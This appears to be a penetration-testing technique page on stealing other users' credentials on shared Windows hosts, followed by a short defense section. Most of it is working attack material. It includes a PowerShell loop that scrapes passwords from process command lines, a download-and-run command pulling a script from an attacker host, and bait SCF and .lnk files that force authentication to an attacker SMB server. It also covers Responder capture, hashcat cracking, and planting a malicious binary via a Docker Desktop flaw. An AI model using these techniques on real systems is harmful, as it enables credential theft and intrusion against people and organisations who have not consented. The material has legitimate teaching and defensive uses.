Capturing Credentials from Other Users

TL;DR

When the host offers no direct escalation path, go after the other users on it. On a shared/multi-user box (RDS, jump host, Citrix backend, a busy workstation) you can often capture a more-privileged user’s credentials passively or by baiting them - then reuse or crack them to escalate locally, in the domain, or to pivot.

# Sniff cleartext creds (Npcap isn't admin-restricted by default on many installs)
# Wireshark on the host, or net-creds / tcpdump from an attack box on the segment

# Watch process command lines for passwords passed as arguments
while($true){ $a=gwmi Win32_Process|select CommandLine; sleep 1
  $b=gwmi Win32_Process|select CommandLine; compare $a $b }

# Forced-auth hash capture: plant a file that beacons to your SMB server, run Responder
# SCF (pre-2019) or malicious .lnk (2019+) on a writable share → NTLMv2 → crack offline

Success indicator: a captured cleartext credential (traffic/cmdline/clipboard) or an NTLMv2 hash you crack to plaintext - usable for a higher-privileged account.

When this applies

This is a late-stage move: you’ve exhausted token, group, service, and credential-at-rest vectors, and the host has other users worth targeting - an admin who logs on to administer it, service accounts running scheduled jobs, or users browsing a share you can write to. The payoff is their credentials, not a direct kernel/service exploit.

Traffic capture

If Wireshark/Npcap is installed, note that the option to restrict the capture driver to administrators is not enabled by default - so an unprivileged user can often sniff the wire and pick up cleartext protocol credentials (FTP, HTTP basic, SMTP, etc.) typed by another user on the same box.

If the engagement puts you on an attack machine on the segment instead, run tcpdump/Wireshark for a while, or feed a pcap (or a live interface) to net-creds to auto-extract passwords and hashes. Let it run in the background - credentials surface opportunistically.

Process command lines

Scheduled tasks, logon scripts, and admin one-liners frequently pass credentials as command-line arguments (net use ... /user:dom\svc P@ss, sqlcmd -U -P, installer silent switches). A standard user can watch for these by diffing the process list on a short interval:

while($true){
  $p1 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $p2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $p1 -DifferenceObject $p2    # prints newly-appeared command lines
}

Host it and run in memory (IEX (iwr http://<you>/procmon.ps1)), then wait for a task to fire. A hit like net use T: \\sql02\backups /user:example\sqlsvc My4dm1nP@s5w0Rd hands you a domain service account.

Note

This only sees command lines you’re permitted to read. Win32_Process returns a null CommandLine for another user’s elevated or service process when you lack process-access rights to it, so as a standard user you mostly catch processes in your own context (and whatever ACLs happen to allow). It’s opportunistic, not a guaranteed cross-user capture - the high-value hits are things you launched being re-run by a privileged scheduler, or loosely-ACL’d processes.

Vulnerable interactive services

Some installed software escalates only when a user interacts with it - still worth planting during a longer assessment. The canonical case is CVE-2019-15752 (Docker Desktop CE < 2.1.0.1): on start and on docker login, it searches C:\ProgramData\DockerDesktop\version-bin\ for helper binaries that don’t ship with it, and that directory was writable by BUILTIN\Users. Drop a malicious docker-credential-wincred.exe there and it runs when Docker next starts or a user authenticates. The general pattern - a writable directory a privileged or other-user process executes from - recurs; plant and periodically check whether your payload fired.

Forced-authentication hash capture

The highest-value technique: bait a user (or service account) into authenticating to an SMB server you control, and capture their NTLMv2 challenge-response hash to crack offline. Plant the bait in a writable, heavily-used file share (or a user’s workstation folder).

Note

The hash you capture this way is NetNTLMv2 - a challenge-response, not an NT hash, so you cannot pass-the-hash with it. You either crack it offline (hashcat -m 5600) or relay it to another host (ntlmrelayx). Plan for one of those before you start.

SCF file (pre-Server 2019)

A Shell Command File’s IconFile can point at a UNC path; Windows Explorer resolves it - opening an SMB session to your server - the moment the user browses the folder. Name it with a leading @ so it sorts to the top and renders immediately:

[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop

Save it as e.g. @Inventory.scf in the share, start Responder (or Inveigh), and wait:

sudo responder -I tun0 -v      # explicit-UNC bait needs no poisoning flags - just the SMB listener
# (current Responder rejects the old -r/-f/-w combos; name-resolution poisoning isn't needed here
#  because the SCF/.lnk points straight at your IP - add -wF only if you also want WPAD poisoning)
# [SMB] NTLMv2-SSP Username : SRV01\Administrator
# [SMB] NTLMv2-SSP Hash     : Administrator::SRV01:...

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt       # crack offline

Saving the SCF on an SMB share (not just your own box) is what lets you catch other users and service accounts - Explorer triggers it for whoever opens that folder.

Malicious .lnk (Server 2019+)

SCF triggering was killed on Server 2019, but a shortcut (.lnk) with a UNC icon/target achieves the same forced auth. Generate one with Lnkbomb or a few lines of PowerShell:

$o = New-Object -ComObject WScript.Shell
$l = $o.CreateShortcut("$env:TEMP\legit.lnk")   # user-writable; a standard user can't write C:\ root
$l.TargetPath   = "\\<attackerIP>\@pwn.png"
$l.IconLocation = "%windir%\system32\shell32.dll, 3"
$l.Save()

Drop it in the target share; browsing the folder triggers the auth to your Responder.

Defense

• Restrict the packet-capture driver to administrators (Npcap “restrict to admins” option); don’t install Wireshark on multi-user servers.
• Never pass credentials as command-line arguments - they’re visible to the process owner and to administrators via the process list (and land in logs/history). Other unprivileged users can’t always read them, but don’t rely on that - a SYSTEM/admin monitor or a loosely-ACL’d process exposes them.
• Kill the forced-auth surface, but match the control to the vector: disabling LLMNR, NBT-NS, and mDNS stops poisoning-based capture, yet the explicit-UNC bait above (literal IP) bypasses name resolution entirely - so also restrict outbound SMB/NTLM (TCP 445/139) to trusted destinations, including internally, since perimeter-only 445 filtering still leaves internal rogue servers reachable. Note SMB signing prevents NTLM relay to signing-required hosts, not challenge-response capture for offline cracking - only strong passwords defeat that. MFA does not protect NTLM.
• Lock write permissions on file shares and on any directory a privileged process executes from; audit third-party installers (the Docker case) for world-writable program dirs.
• Enforce long, random passwords so captured NetNTLMv2 hashes resist offline cracking.

Related

• Stored credentials / Credential hunting - credentials already on the host, before resorting to baiting users
• Pillaging - broader post-foothold data gathering (IM cookies, clipboard, backup repos)
• SeImpersonate - local forced-auth/relay primitives in the same family as Responder capture